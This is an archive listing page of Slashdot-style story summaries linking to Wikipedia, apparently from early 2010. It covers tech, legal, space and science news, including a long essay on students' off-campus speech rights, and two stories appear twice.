Domain: wikipedia.org
Stories and comments across the archive that link to wikipedia.org.
Stories · 7,048
-
Privacy With a 4096 Bit RSA Key — Offline, On Paper
HavanaF writes "Online backup is practical, but can it offer any privacy? The Dutch security company Safeberg developed an Offline Private Key Protocol, with an asymmetric key scheme. The protocol demands that the private (decryption) key be stored away from the 'source' computer, which presumably is 'too vulnerable.' The catch is that the private key needs to be fairly large to be secure: a 4,096-bit RSA key should suffice for some years. But how to store an 800-character key offline? Safeberg introduces a machine readable paper key, with the 4k-bit key crammed in a giant 2D Datamatrix barcode. This video on key strength tells the story." -
$1M Prize For Finding Cause of Unintended Acceleration
phantomfive writes "Edmunds Auto has announced that it will be offering a $1 million prize to anyone who can find the cause of unintended acceleration. As Wikipedia notes, this is a problem that has plagued not only Toyota, but also Audi and other manufacturers. Consumer Reports has some suggestions all automakers can implement to solve this problem, including requiring brakes to be strong enough to stop the car even when the accelerator is floored." -
Officials Sue Couple Who Removed Their Lawn
Hugh Pickens writes "The LA Times reports that Orange County officials are locked in a legal battle with a couple accused of violating city ordinances for replacing the grass on their lawn with wood chips and drought-tolerant plants, reducing their water usage from 299,221 gallons in 2007 to 58,348 gallons in 2009. The dispute began two years ago, when Quan and Angelina Ha tore out the grass in their front yard. In drought-plagued Southern California, the couple said, the lush grass had been soaking up tens of thousands of gallons of water — and hundreds of dollars — each year. 'We've got a newborn, so we want to start worrying about her future,' said Quan Ha, an information technology manager for Kelley Blue Book. But city officials told the Has they were violating several city laws that require that 40% of residential yards to be landscaped predominantly with live plants. Last summer, the couple tried to appease the city by building a fence around the yard and planting drought-tolerant greenery — lavender, rosemary, horsetail, and pittosporum, among others. But according to the city, their landscaping still did not comply with city standards. At the end of January, the Has received a letter saying they had been charged with a misdemeanor violation and must appear in court. The couple could face a maximum penalty of six months in jail and a $1,000 fine for their grass-free, eco-friendly landscaping scheme. 'It's just funny that we pay our taxes to the city and the city is now prosecuting us with our own money,' says Quan Ha." -
Apple Sues HTC For 20 Patent Violations In Phones
eldavojohn writes "Taiwanese HTC is being sued by Apple for 20 patents regarding the many phones HTC manufactures. Steve Jobs was quoted as saying, 'We can sit by and watch competitors steal our patented inventions, or we can do something about it. We've decided to do something about it. We think competition is healthy, but competitors should create their own original technology, not steal ours.' Apple has similar patent litigation with Nokia and may be trying to scare the rest of the industry into licensing patents similar to the Microsoft-Novell and Microsoft-Amazon deals regarding patents covering Linux functionality." -
New I/O Standard Bids To Replace Mini PCI Express
DeviceGuru writes "LinuxDevices reports that a group of companies today unveiled — and demonstrated products based on — a tiny new PCI Express expansion standard. Although it's somewhat larger than the PCI Express Mini Card, the tiny new 43mm x 65mm FeaturePak card's high density 230-pin edgecard connector provides twice the number of PCI Express and USB 2.0 channels to the host computer, plus 100 lines dedicated to general purpose I/O, of which 34 signal pairs are implemented with enhanced isolation for use in applications such as gigabit Ethernet or high-precision analog I/O. While FeaturePaks will certainly be used in all sorts of embedded devices (medical instruments, test equipment, etc.), the tiny cards could also be used for developing configurable consumer devices, for example to add an embedded firewall/router or security processor to laptop or notebook computers, or for modular functionality in TV set-top-boxes and Internet edge devices." The president of Diamond Systems, which invented the new card, said "Following the FeaturePak initiative's initial launch, we intend to turn the FeaturePak specification, trademark, and logo over to a suitable standards organization so it can become an industry-wide, open-architecture, embedded standard" (but to use the logo you have to join the organization). -
Developing a Vandalism Detector For Wikipedia
marpot writes "In an effort to assist Wikipedia's editors in their struggle to keep articles clean, we are conducting a public lab on vandalism detection. The goal is the development of a practical vandalism detector that is capable of telling apart ill-intentioned edits from well-intentioned edits. Such a tool, which will work somewhat like a spam detector, will release the crowd's workforce currently occupied with manual and semi-automatic edit filtering. The performance of submitted detectors will be evaluated based on a large collection of human-annotated edits, which has been crowdsourced using Amazon's Mechanical Turk. Everyone is welcome to participate." -
Developing a Vandalism Detector For Wikipedia
marpot writes "In an effort to assist Wikipedia's editors in their struggle to keep articles clean, we are conducting a public lab on vandalism detection. The goal is the development of a practical vandalism detector that is capable of telling apart ill-intentioned edits from well-intentioned edits. Such a tool, which will work somewhat like a spam detector, will release the crowd's workforce currently occupied with manual and semi-automatic edit filtering. The performance of submitted detectors will be evaluated based on a large collection of human-annotated edits, which has been crowdsourced using Amazon's Mechanical Turk. Everyone is welcome to participate." -
TI-Nspire Hack Enables User Programming
An anonymous reader writes "Texas Instruments' most recent, ARM-based series of graphing calculators, the TI-Nspire line, has long resisted users' efforts to run their own software. (Unlike other TI calculator models, which can be programmed either in BASIC, C, or assembly language, the Nspire only supports an extremely limited form of BASIC.) A bug in the Nspire's OS was recently discovered, however, which can be exploited to execute arbitrary machine code. Now the first version of a tool called Ndless has been released, enabling users, for the first time, to write and run their own C and assembly programs on the device. This opens up exciting new possibilities for these devices, which are extremely powerful compared to TI's other calculator offerings, but (thanks to the built-in software's limitations) have hitherto been largely ignored by the calculator programming community." -
Delta Rocket Crashes In Mongolia
Dr La writes "Two metal objects, one cylindrical and a smaller round one, crashed near Buren Soum in the Tuv province of Mongolia, in an empty field, on 19 February. They are parts of an American Delta II rocket stage (nr. 35939, 2009-052C) that launched the military STSS Demo 1 & 2 satellites in September 2009. Both articles linked above say that the larger of the two objects is 7.5 meters in diameter, but in this photo it looks more like 7.5 feet. It is marked with the serial number '02728.' (The military STSS program is intended for space-based detection and tracking of missiles.) In the months leading up to the February 19 orbital decay over Mongolia, the fall of the rocket stage was followed by amateur satellite trackers. Based on their final orbit determinations just hours before the decay, the decay must have occurred near 3:32 UTC on February 19." -
US Government Poisoned Alcohol During Prohibition
Hugh Pickens writes "Pulitzer Prize-winning science journalist Deborah Blum has an article in Slate about the US government's mostly forgotten policy in the 1920s and 1930s of poisoning industrial alcohols manufactured in the US to scare people into giving up illicit drinking during Prohibition. Known as the 'chemist's war of Prohibition,' the federal poisoning program, by some estimates, killed at least 10,000 people between 1926 and 1933. The story begins with ratification of the 18th Amendment in 1919, which banned sale and consumption of alcoholic beverages in the US. By the mid-1920s, when the government saw that its 'noble experiment' was in danger of failing, it decided that the problem was that readily available methyl (industrial) alcohol — itself a poison — didn't taste nasty enough. The government put its chemists to work designing ever more unpalatable toxins — adding such chemicals as kerosene, brucine (a plant alkaloid closely related to strychnine), gasoline, benzene, cadmium, iodine, zinc, mercury salts, nicotine, ether, formaldehyde, chloroform, camphor, carbolic acid, quinine, and acetone. In 1926, in New York City, 1,200 were sickened by poisonous alcohol; 400 died. The following year, deaths climbed to 700. These numbers were repeated in cities around the country as public-health officials nationwide joined in the angry clamor to stop the poisoning program. But an official sense of higher purpose kept it in place, while lawmakers opposed to the plan were accused of being in cahoots with criminals and bootleggers. The chief medical examiner of New York City during the 1920s, one of the poisoning program's most outspoken opponents, liked to call it 'our national experiment in extermination.'" -
Next Week, 500+ Geek Talks Around the World
Brady Forrest writes "Next week, from March 1-5 there will be ~65 Ignite events happening around the world. Ignite is an opportunity for geeks to share their passions and ideas with local peers. Each speaker gets 20 slides that each auto-advance after 15 seconds for a total of just 5 minutes. The result is bite-size chunks of information that inform the crowd on new topics. Most of the Ignites will be streamed on the new Ignite video site." -
Wireside Chat With Lawrence Lessig
An anonymous reader writes "Lawrence Lessig, the foundational voice of the free culture movement, will deliver a talk on fair use, politics, and online video from Harvard Law School in Cambridge, Massachusetts. You'll be able to tune in to a live webcast. The lecture by Lawrence Lessig will last 45 minutes, and will be followed by a 30 minute interactive Q & A session. The event will be moderated by Elizabeth Stark of the Open Video Alliance. Questions can be submitted using the hashtag #wireside. This is a talk about copyright in a digital age, and the role (and importance) of a doctrine like 'fair use.' Fair use allows limited use of copyrighted material without requiring permission from the rights holders, and is essential for commentary, criticism, news reporting, remix, research, teaching and scholarship with video. As a medium, online video will be most powerful when it is fluid, like a conversation. Like the rest of the internet, online video must be designed to encourage participation, not just passive consumption. Tune in here on February 25th, 6:00pm US Eastern time (see more time zones), or check out our screening events in cities across the world." -
Falcon 9 Prepares For High Stakes Launch
happylunarnewyear writes "The first new rocket to be launched from the Cape since 2002 is assembled and upright on Launch Complex 40. Falcon 9 will undergo fueling testing and live firing tests before the launch occurs as soon as next month. The stakes couldn't be higher, either. The much politicized proposal for a change in direction for NASA, which includes scrapping the Constellation program in toto in favor of privatization and a new heavy lift vehicle, veritably rides on this rocket. If the launch goes well, the plan for increased reliance on privatized cargo missions and eventually privatized manned missions will soar with it. However if something goes wrong, those plans will come crashing to Earth along with Falcon 9. Given the stakes, this launch is one of the most important in recent history. From the article, 'President Obama's proposal to shift transport of US astronauts to the space station from government launchers to privatized ones could suffer politically if there's a high-profile problem with the first mission of the Falcon 9, by far the most talked-about newcomer vying for the opportunity.'" Reader FleaPlus contributes related news about NASA's proposed funding for scientific payloads on commercial space flights, which would be a huge boon to researchers. -
Suspension of Disbelief
Frequent Slashdot Contributor Bennett Haselton writes in "A federal judge rules that a student can seek attorney's fees against a high school principal who suspended her for a Facebook page she made at home. Good news, but how could the school have thought they had the right to punish her for that in the first place? Posing the question not rhetorically but seriously. What is the source of society's attitudes toward the free-speech rights of 17-year-olds?"Well, you knew this post was coming when you read the news. A federal judge has ruled that Katie Evans, who had been suspended from high school for creating a Facebook group calling one of her teachers "the worst teacher I've ever met," can proceed with her suit seeking attorney's fees from her principal for violating her First Amendment rights. Evans, now a journalism student at the University of Florida, is represented in her suit by the ACLU of Florida.
If any of the recent student online free-speech cases should have been adjudicated in the student's favor, this would most clearly be the one. As Judge Barry Garber wrote in his ruling, Evans's page did not contain threats of violence (if it had, it would have been a matter for the police, not for a school punishment), and the principal didn't even find out about the page until two months after she took it down. It's hard to believe that the principal's lawyers, if he consulted with them, would have gone along with a recommendation to suspend the student. And once the Florida ACLU contacted the principal, wouldn't he have realized that the longer he fought the case, the more legal bills the ACLU would amass, along with the possibility that the principal could be ordered to pay them? Even if he had estimated that there would only be a 5% chance that he could end up being ordered to pay legal fees, was it worth the risk, if the fees could come to thousands or tens of thousands of dollars? Well, now he knows.
When a different judge ruled that a student had no right to challenge his suspension for making a vulgar Myspace page about his principal, I said that there was no more objective basis for saying that the ruling was legally "right" than it was "wrong," because if you put 10 judges in separate rooms and ask them how they would rule on the case, you could get 10 different, mutually contradictory answers. Well, fair is fair — even though I support Judge Garber's ruling 100%, I have to concede that it did not necessarily follow inevitably from the facts and the law, and there's no objective basis for calling it "the" right ruling. Judges are not like doctors who look at a mammogram, and draw on experience that the general public does not have, in order to see something that would be hidden from the rest of us. In cases like these, judges simply have multiple plausible interpretations in front of them, and they pick one. As such they're acting more like referees (who make a decision so that the game — or, in this case, society — can move on) than true "experts."
There is a temptation to think that there is some consistent reasoning behind the different courts' rulings — say, that the student who created a vulgar page mocking his principal (the student was identified in papers only as "J.S.") went too far and crossed a line, while Katie Evans's page complaining about her teacher was clean enough to stay on the safe side of the line, and make her eligible for damages in a First Amendment suit. This, I think, is nonsense, an attempt to put a consistent theory on top of a legal system that does not follow consistent rules from one court ruling to the next. If different judges had been randomly assigned to J.S.'s case and Evans's case, then it might have been J.S. who won and Evans who lost. After all, it was a federal judge who once ruled that a Utah high school had the right to suspend a student for wearing sweatshirts emblazoned with "Vegan" and "Vegans Have First Amendment Rights." (The judge and the principal had apparently confused veganism with eco-terrorism.) How do you reconcile that with any of the recent rulings? (No prizes for guessing how that judge would have ruled if the shirts had said "Christian.")
But even if it's still a roll of the dice how a court would rule in a particular student free-speech case, what matters from the point of view of a principal in a future case, are the potential payoffs. What if you're thinking about suspending a student for a non-threatening, non-libelous Facebook page? If the case ends up in court and you win, then you get the satisfaction of being "vindicated." But if you lose, you could be ordered to pay tens of thousands of dollars to the student's attorneys. So even a small number of victories for students in free-speech cases, even if mixed in with an equal or greater number of victories for the schools, still create an enormous incentive for a principal not to risk the case at all, when the potential gain is so small and the potential loss so huge. Even if you think there's only a 5% chance of being ordered to pay the student's $10,000 legal bill, that means you'd still have to decide if it's worth (on average) about $500 to get the satisfaction of suspending them.
(On the other hand, if a student created a page that was so threatening or libelous towards a staff member, that the school would run the risk of being sued if the principal didn't suspend the student, then the school and the principal are taking some legal risk either way, but the risk involved in suspending the student is much smaller. Fine — there's nothing wrong with suspending a student for threats of violence.)
So the ruling is a much more significant victory for student speech than many of the parties involved probably realize. Even though Judge Garber didn't actually award Evans her attorney's fees (yet?) — he only said that she could proceed to seek them against the principal — just the fact that it's coming dangerously close to that, means that principals in future cases now know what the risks are.
But why was all this necessary? How did the legal and societal climate of attitudes toward people under 18, lead to a principal thinking that he could punish a 17-year-old for comments that she made about a teacher, on her own time, to a third-party audience? If the students in the school had been comprised, not of minors, but of adults from some other minority group — African Americans, immigrant women, native Spanish speakers — there's no question that the principal never would have thought he could get away with suspending the student for criticizing a teacher.
Similarly, students at Harriton High School in Rosemont, Pennsylvania just discovered that school officials had given laptops to students to take home with remotely-activated webcams, that could be used to take photos in student's homes and transmit them back to school officials. Incredibly, this was discovered not by students or their parents examining the laptops, but because school officials used the feature to take a photo of a student in his bedroom, and then confronted him about "inappropriate" behavior, not considering that the students and their parents might consider it "inappropriate" that the school snuck spy cams into their bedrooms. (The school has issued a denial claiming, "At no time did any high school administrator have the ability or actually access the security-tracking software" — which doesn't seem to make sense, since the lawsuit was filed in the first place because the student was told by the assistant principal that the webcam had caught him engaging in "inappropriate behavior.") What was the school thinking? Probably, they were thinking, "These are minors, we can do what we want." If their student clientele had been comprised of adults, they never would have dreamed that they could confront a student about behavior in their room that they captured with a hidden camera. (Ironically, the school may end up in more trouble for spying on minors, as this editorial argues, since the school officials may now be guilty of recording and possessing child porn, depending on what the cameras "captured" in the students' rooms!)
So no matter how much ink is spilled analyzing the legal technicalities of suspending a 17-year-old student for off-campus speech, that's not what the case is really about. The case is really about attitudes. Change society's attitudes to think of 17-year-olds the way we currently think of 25-year-olds, and no judge is going to deny them their right to criticize their school on their own time, any more than a judge in today's society would deny that right to a 25-year-old.
And where does this attitude towards minors come from? I suspect that most people who believe that we have to draw the line somewhere around age 18, believe it for no better reason than because they were raised in a society where most other people believe it too. If you think that setting the cutoff age at 18 is just "common sense," then I would bet my house that if you had been raised in a society where the cutoff age was set at 13, that would seem like "just common sense" to you as well, and similarly if you had been raised in a society where the cutoff had been set at 22. This may seem like an unremarkable observation, but my belief in minors' rights has always been motivated by a more fundamental belief that you should not believe things merely because most people in your society believe them. If that sounds like a trite platitude, consider how few people in the US seem to question the rule that you can show a man's chest on television but not a woman's chest. In more liberal Denmark, supermarkets can stock tabloids at toddler-eye-level with photos of topless women on the cover, while in Saudi Arabia, adult women can't leave the house without covering their faces, and in all three societies, the majority thinks these regulations are just plain "common sense." Is the age of majority just another arbitrary illusion caused by the power of consensus?
When I said this on The David Lawrence Show, the host made the thoughtful observation that most countries all over the world set the age of majority for most purposes at 18. Close, I said, but it doesn't quite prove what it seems to prove, because those globally diverse societies did not reach that conclusion independently — they move in similar directions because of cross-cultural influences. (The voting age was set at 21 in many democracies before many of them lowered it to 18 in the 1970's within a few years of each other.) To get a better sense of whether there is any merit to the idea, we'd have to do something like the "putting the 10 judges in 10 separate rooms" test — put 10 different societies in mutual isolation from each other, let them develop and debate things on their own, and see if all or most of them reach the conclusion that 18 us a good cutoff age for adulthood.
The idea that actual children — under the age of, say, 11 — are qualitatively different from adults, has in fact been re-discovered by civilizations that developed independently at different points in history, all over the world. So there's probably something to it. The idea that teenagers are qualitatively different from adults, is something particular to recent history, and a wise person transported forward in time from the 1500's to the present day might scratch their heads and wonder why we think that 18-year-olds should be allowed to criticize their teachers but 17-year-olds cannot. I suspect the artificial extension of childhood grew out of the fact that because modern jobs are more complicated than they used to be, we need more years of schooling before we can go out and compete in the workforce. The fallacy there, though, is that just because we need more years of schooling, doesn't mean that the natural age of "human maturity" has gone up. So we end up with 17-year-olds having to go to court to establish their right to criticize their teachers on their own time.
Judge Garber wouldn't have been in a position to make this argument in his ruling even if he agreed with it. But even if his ruling was based on logic that has nothing to do with the underlying case for minors' rights, it was still a step in the right direction.
-
Suspension of Disbelief
Frequent Slashdot Contributor Bennett Haselton writes in "A federal judge rules that a student can seek attorney's fees against a high school principal who suspended her for a Facebook page she made at home. Good news, but how could the school have thought they had the right to punish her for that in the first place? Posing the question not rhetorically but seriously. What is the source of society's attitudes toward the free-speech rights of 17-year-olds?"Well, you knew this post was coming when you read the news. A federal judge has ruled that Katie Evans, who had been suspended from high school for creating a Facebook group calling one of her teachers "the worst teacher I've ever met," can proceed with her suit seeking attorney's fees from her principal for violating her First Amendment rights. Evans, now a journalism student at the University of Florida, is represented in her suit by the ACLU of Florida.
If any of the recent student online free-speech cases should have been adjudicated in the student's favor, this would most clearly be the one. As Judge Barry Garber wrote in his ruling, Evans's page did not contain threats of violence (if it had, it would have been a matter for the police, not for a school punishment), and the principal didn't even find out about the page until two months after she took it down. It's hard to believe that the principal's lawyers, if he consulted with them, would have gone along with a recommendation to suspend the student. And once the Florida ACLU contacted the principal, wouldn't he have realized that the longer he fought the case, the more legal bills the ACLU would amass, along with the possibility that the principal could be ordered to pay them? Even if he had estimated that there would only be a 5% chance that he could end up being ordered to pay legal fees, was it worth the risk, if the fees could come to thousands or tens of thousands of dollars? Well, now he knows.
When a different judge ruled that a student had no right to challenge his suspension for making a vulgar Myspace page about his principal, I said that there was no more objective basis for saying that the ruling was legally "right" than it was "wrong," because if you put 10 judges in separate rooms and ask them how they would rule on the case, you could get 10 different, mutually contradictory answers. Well, fair is fair — even though I support Judge Garber's ruling 100%, I have to concede that it did not necessarily follow inevitably from the facts and the law, and there's no objective basis for calling it "the" right ruling. Judges are not like doctors who look at a mammogram, and draw on experience that the general public does not have, in order to see something that would be hidden from the rest of us. In cases like these, judges simply have multiple plausible interpretations in front of them, and they pick one. As such they're acting more like referees (who make a decision so that the game — or, in this case, society — can move on) than true "experts."
There is a temptation to think that there is some consistent reasoning behind the different courts' rulings — say, that the student who created a vulgar page mocking his principal (the student was identified in papers only as "J.S.") went too far and crossed a line, while Katie Evans's page complaining about her teacher was clean enough to stay on the safe side of the line, and make her eligible for damages in a First Amendment suit. This, I think, is nonsense, an attempt to put a consistent theory on top of a legal system that does not follow consistent rules from one court ruling to the next. If different judges had been randomly assigned to J.S.'s case and Evans's case, then it might have been J.S. who won and Evans who lost. After all, it was a federal judge who once ruled that a Utah high school had the right to suspend a student for wearing sweatshirts emblazoned with "Vegan" and "Vegans Have First Amendment Rights." (The judge and the principal had apparently confused veganism with eco-terrorism.) How do you reconcile that with any of the recent rulings? (No prizes for guessing how that judge would have ruled if the shirts had said "Christian.")
But even if it's still a roll of the dice how a court would rule in a particular student free-speech case, what matters from the point of view of a principal in a future case, are the potential payoffs. What if you're thinking about suspending a student for a non-threatening, non-libelous Facebook page? If the case ends up in court and you win, then you get the satisfaction of being "vindicated." But if you lose, you could be ordered to pay tens of thousands of dollars to the student's attorneys. So even a small number of victories for students in free-speech cases, even if mixed in with an equal or greater number of victories for the schools, still create an enormous incentive for a principal not to risk the case at all, when the potential gain is so small and the potential loss so huge. Even if you think there's only a 5% chance of being ordered to pay the student's $10,000 legal bill, that means you'd still have to decide if it's worth (on average) about $500 to get the satisfaction of suspending them.
(On the other hand, if a student created a page that was so threatening or libelous towards a staff member, that the school would run the risk of being sued if the principal didn't suspend the student, then the school and the principal are taking some legal risk either way, but the risk involved in suspending the student is much smaller. Fine — there's nothing wrong with suspending a student for threats of violence.)
So the ruling is a much more significant victory for student speech than many of the parties involved probably realize. Even though Judge Garber didn't actually award Evans her attorney's fees (yet?) — he only said that she could proceed to seek them against the principal — just the fact that it's coming dangerously close to that, means that principals in future cases now know what the risks are.
But why was all this necessary? How did the legal and societal climate of attitudes toward people under 18, lead to a principal thinking that he could punish a 17-year-old for comments that she made about a teacher, on her own time, to a third-party audience? If the students in the school had been comprised, not of minors, but of adults from some other minority group — African Americans, immigrant women, native Spanish speakers — there's no question that the principal never would have thought he could get away with suspending the student for criticizing a teacher.
Similarly, students at Harriton High School in Rosemont, Pennsylvania just discovered that school officials had given laptops to students to take home with remotely-activated webcams, that could be used to take photos in student's homes and transmit them back to school officials. Incredibly, this was discovered not by students or their parents examining the laptops, but because school officials used the feature to take a photo of a student in his bedroom, and then confronted him about "inappropriate" behavior, not considering that the students and their parents might consider it "inappropriate" that the school snuck spy cams into their bedrooms. (The school has issued a denial claiming, "At no time did any high school administrator have the ability or actually access the security-tracking software" — which doesn't seem to make sense, since the lawsuit was filed in the first place because the student was told by the assistant principal that the webcam had caught him engaging in "inappropriate behavior.") What was the school thinking? Probably, they were thinking, "These are minors, we can do what we want." If their student clientele had been comprised of adults, they never would have dreamed that they could confront a student about behavior in their room that they captured with a hidden camera. (Ironically, the school may end up in more trouble for spying on minors, as this editorial argues, since the school officials may now be guilty of recording and possessing child porn, depending on what the cameras "captured" in the students' rooms!)
So no matter how much ink is spilled analyzing the legal technicalities of suspending a 17-year-old student for off-campus speech, that's not what the case is really about. The case is really about attitudes. Change society's attitudes to think of 17-year-olds the way we currently think of 25-year-olds, and no judge is going to deny them their right to criticize their school on their own time, any more than a judge in today's society would deny that right to a 25-year-old.
And where does this attitude towards minors come from? I suspect that most people who believe that we have to draw the line somewhere around age 18, believe it for no better reason than because they were raised in a society where most other people believe it too. If you think that setting the cutoff age at 18 is just "common sense," then I would bet my house that if you had been raised in a society where the cutoff age was set at 13, that would seem like "just common sense" to you as well, and similarly if you had been raised in a society where the cutoff had been set at 22. This may seem like an unremarkable observation, but my belief in minors' rights has always been motivated by a more fundamental belief that you should not believe things merely because most people in your society believe them. If that sounds like a trite platitude, consider how few people in the US seem to question the rule that you can show a man's chest on television but not a woman's chest. In more liberal Denmark, supermarkets can stock tabloids at toddler-eye-level with photos of topless women on the cover, while in Saudi Arabia, adult women can't leave the house without covering their faces, and in all three societies, the majority thinks these regulations are just plain "common sense." Is the age of majority just another arbitrary illusion caused by the power of consensus?
When I said this on The David Lawrence Show, the host made the thoughtful observation that most countries all over the world set the age of majority for most purposes at 18. Close, I said, but it doesn't quite prove what it seems to prove, because those globally diverse societies did not reach that conclusion independently — they move in similar directions because of cross-cultural influences. (The voting age was set at 21 in many democracies before many of them lowered it to 18 in the 1970's within a few years of each other.) To get a better sense of whether there is any merit to the idea, we'd have to do something like the "putting the 10 judges in 10 separate rooms" test — put 10 different societies in mutual isolation from each other, let them develop and debate things on their own, and see if all or most of them reach the conclusion that 18 us a good cutoff age for adulthood.
The idea that actual children — under the age of, say, 11 — are qualitatively different from adults, has in fact been re-discovered by civilizations that developed independently at different points in history, all over the world. So there's probably something to it. The idea that teenagers are qualitatively different from adults, is something particular to recent history, and a wise person transported forward in time from the 1500's to the present day might scratch their heads and wonder why we think that 18-year-olds should be allowed to criticize their teachers but 17-year-olds cannot. I suspect the artificial extension of childhood grew out of the fact that because modern jobs are more complicated than they used to be, we need more years of schooling before we can go out and compete in the workforce. The fallacy there, though, is that just because we need more years of schooling, doesn't mean that the natural age of "human maturity" has gone up. So we end up with 17-year-olds having to go to court to establish their right to criticize their teachers on their own time.
Judge Garber wouldn't have been in a position to make this argument in his ruling even if he agreed with it. But even if his ruling was based on logic that has nothing to do with the underlying case for minors' rights, it was still a step in the right direction.
-
Why Are There No Popular Ultima Online-Like MMOs?
eldavojohn writes "I have a slightly older friend who played through the glory days of Ultima Online. Yes, their servers are still up and running, but he often waxes nostalgic about certain gameplay functions of UO that he misses. I must say that these aspects make me smile and wonder what it would be like to play in such a world — things like housing, thieving and looting that you don't see in the most popular massively multiplayer online games like World of Warcraft. So, I've followed him through a few games, including Darkfall and now Mortal Online. And these (seemingly European developed) games are constantly fading into obscurity and never catching hold. We constantly move from one to the next. Does anyone know of a popular three-dimensional game that has UO-like rules and gameplay? Perhaps one that UO players gravitated to after leaving UO? If you think that the very things that have been removed (housing and thieving would be two good topics) caused WoW to become the most popular MMO, why is that? Do UO rules not translate well to a true 3D environment? Are people incapable of planning for corpse looting? Are players really that inept that developers don't want to leave us in control of risk analysis? I'm familiar with the Bartle Test but if anyone could point me to more resources as to why Killer-oriented games have faded out of popularity, I'd be interested." -
Grimmelmann On Google Books Settlement Fairness Hearing
somanyrobots writes with an excerpt from New York Law School professor James Grimmelmann's cogent report from Friday's fairness hearing about the current Google Books Library Project settlement agreement. That agreement has been proposed to resolve the dispute between Google and various rights holders about Google's plan to scan and electronically distribute many written works, including "orphan" works. "I was at the courthouse from 8:30 onwards, with the team of New York Law School students who've been working on the Public Index. We didn't want to take any chances that we might not make it in. (Last time, we were among the very last people seated.) No worries there; we got great seats in the overflow room, and in the afternoon, in the courtroom itself. I'm very glad I had the student team along with me. Their observations and insights about the arguments and the lawyers were invaluable in helping me write up this post. Other than my conversation with them, I've avoided reading the press coverage; I wanted to provide a direct account of how I saw the day's events, without being influenced by others' takes." -
ACTA Internet Chapter Leaked — Bad For Everyone
roju writes "Cory Doctorow is reporting on a leaked copy of the 'internet enforcement' portion of the Anti-Counterfeiting Trade Agreement. He describes it as reading like a 'DMCA-plus' with provisions for third-party liability, digital locks, and 'a duty to technology firms to shut down infringement where they have "actual knowledge" that such is taking place.' For example, this could mean legal responsibility shifting to Apple for customers copying mp3s onto their iPods." Adds an anonymous reader, "Michael Geist points out that the leaks demonstrate that ACTA would create a Global DMCA and move toward a three-strikes-and-you're-out system. While the US has claimed that ACTA won't establish a mandatory three strikes system, it specifically uses three-strikes as its model." -
Atlas V's Sonic Boom Made Visible By Sundog
Ross-Shire Geek writes "Atlas V lifted off on Feb 11 from Kennedy. As it goes supersonic through a sundog (aka parhelion) you can see (video link) wonderful visible ripples of the shock wave in the sky." -
Math Anxiety Affects Skills As Basic As Counting
thirty-seven writes "According to four Canadian psychologists, a study they have conducted shows that math anxiety, 'the feeling of fear and dread of performing mathematical calculations,' can negatively affect mathematical tasks much simpler and more basic than previously thought. In the study, participants were asked to count black squares on a white screen. The number of squares shown ranged from one to nine and participants were given as much time as they wanted before answering. When the number of squares was in the subitizing range (one to four), both math-anxious and non-math-anxious participants performed equally well, but when the number of squares was in the counting range (five to nine), the math-anxious group took longer and were less accurate. The University of Waterloo's news release about the study includes this interesting note: 'Previous studies have shown that a weakness in basic math abilities has a greater negative effect on employment opportunities than reading difficulties [do].'" -
Windows 7 Can Create Rogue Wi-Fi Access Point
alphadogg writes "Windows 7 contains a 'SoftAP' feature, also called 'virtual Wi-Fi,' that allows a PC to function simultaneously as a Wi-Fi client and as an access point to which other Wi-Fi-capable devices can connect. The capability is handy when users want to share music and play interactive games. But it also can allow on-site visitors and parking-lot hackers to piggyback onto the user's laptop and 'ghost ride' into a corporate network unnoticed." While this means a bit more policing for networks meant to be locked down, it sounds like a good thing overall. Linux users, meanwhile, have had kernel support (since 2.6.26) for 802.11s mesh networking, as well as Host AP support for certain chipsets. -
2010 — the Year AACS and HDMI Kill Off HD Component Video
For home theater buffs who want (or already have) a high-def system using component-video connections, time may be growing short. Audiofan writes with this story, which begins: "Digital HD (high definition), like that enabled through HDMI and Blu-ray, is awesome. It offers amazing picture and audio quality. It allows you to conveniently connect one single cable to provide both picture and sound. It is royally going to screw up a lot of homes next year. Wait, what was that last part? After December 31, 2010, manufacturers will not be 'allowed' [to] introduce new hardware with component video outputs supplying more than an SD resolution (480i or 576i). Should this go through as planned, it's going to disable or throw a wrench in a lot of existing custom installations as soon as the end of this year." The AACS in the headline stands for Advanced Access Content System, the industry scheme to block "the analog hole" by controlling content from storage media to eyeballs. -
IOC Claims Olympian Lindsey Vonn's Name As Intellectual Property
gehrehmee writes "As usual, the International Olympic Committee is coming down on hard on people mentioning things related to the Olympics without permission. This time it's UVEX sporting supplies, which sponsors Olympic skier Lindsey Vonn. Without explaination, their front page was today updated to include a tongue-in-cheek poem about UVEX's interaction with the IOC. Can the IOC really claim an Olypmian's name as their own intellectual property?" -
PageRank-Type Algorithm From the 1940s Discovered
KentuckyFC writes "The PageRank algorithm (pdf) behind Google's success was developed by Sergey Brin and Larry Page in 1998. It famously judges a page to be important if it is linked to by other important pages. This circular definition is the basis of an iterative mechanism for ranking pages. Now a paper tracing the history of iterative ranking algorithms describes a number of earlier examples. It discusses the famous HITS algorithm for ranking web pages as hubs and authorities developed by Jon Kleinberg a few years before PageRank. It also discusses various approaches from the 1960s and 70s for ranking individuals and journals based on the importance of those that endorse them. But the real surprise is the discovery of a PageRank-type algorithm for ranking sectors of an economy based on the importance of the sectors that supply them, a technique that was developed by the Harvard economist Wassily Leontief in 1941." -
Open Source 3D Nvidia Driver Is Ready For Fedora 13
An anonymous reader writes "Red Hat has already been using the Nouveau X.Org driver in Fedora for providing display and 2D support, but with their next release (Fedora 13) they will be making open-source 3D acceleration readily available to those using Nvidia graphics cards. Red Hat has packaged the Nouveau 3D driver in Fedora 13 and what makes it interesting — besides being an open source 3D driver that was written by the community by reverse engineering Nvidia's closed-source driver — is that it's one of the first drivers to use the Gallium3D driver interface. Phoronix has tested out this Gallium3D driver for Nvidia GPUs in a Fedora 13 daily build and found it to run with a variety of OpenGL games, with benchmarks being included that compare it to Nvidia's official driver. The performance is far from being on the same stage as Nvidia's official Unix driver." -
20 Years of Photoshop
benwiggy writes "Photoshop turned 20 on 10th February 2010. Here's an excellent history, including how the Knoll family created one of the biggest apps of all time. The article also has screenshots of the workspace through the versions." -
Meteorite Contains Complex Organic Molecules
An anonymous reader writes "Previously unknown organic molecules have been discovered in a 100 kg meteorite that hit Australia in 1969, suggesting that our early Solar System contained a soup of highly complex organic chemistry long before life appeared. Quoting: 'According to [the study's lead author], the newly discovered compounds in the Murchison meteorite "may have contributed to the organic complexity of the early 'soup' that led to the development of life on Earth." The findings also suggest that extraterrestrial chemical diversity surpasses that found on Earth. The meteor probably passed through primordial clouds in the early solar system, accumulating organic molecules in a snowball effect along the way. By tracing the sequence of organic molecules in the meteorite, researchers believe they may also be able to create a timeline for their formation and alteration since the early days of our solar system.'" -
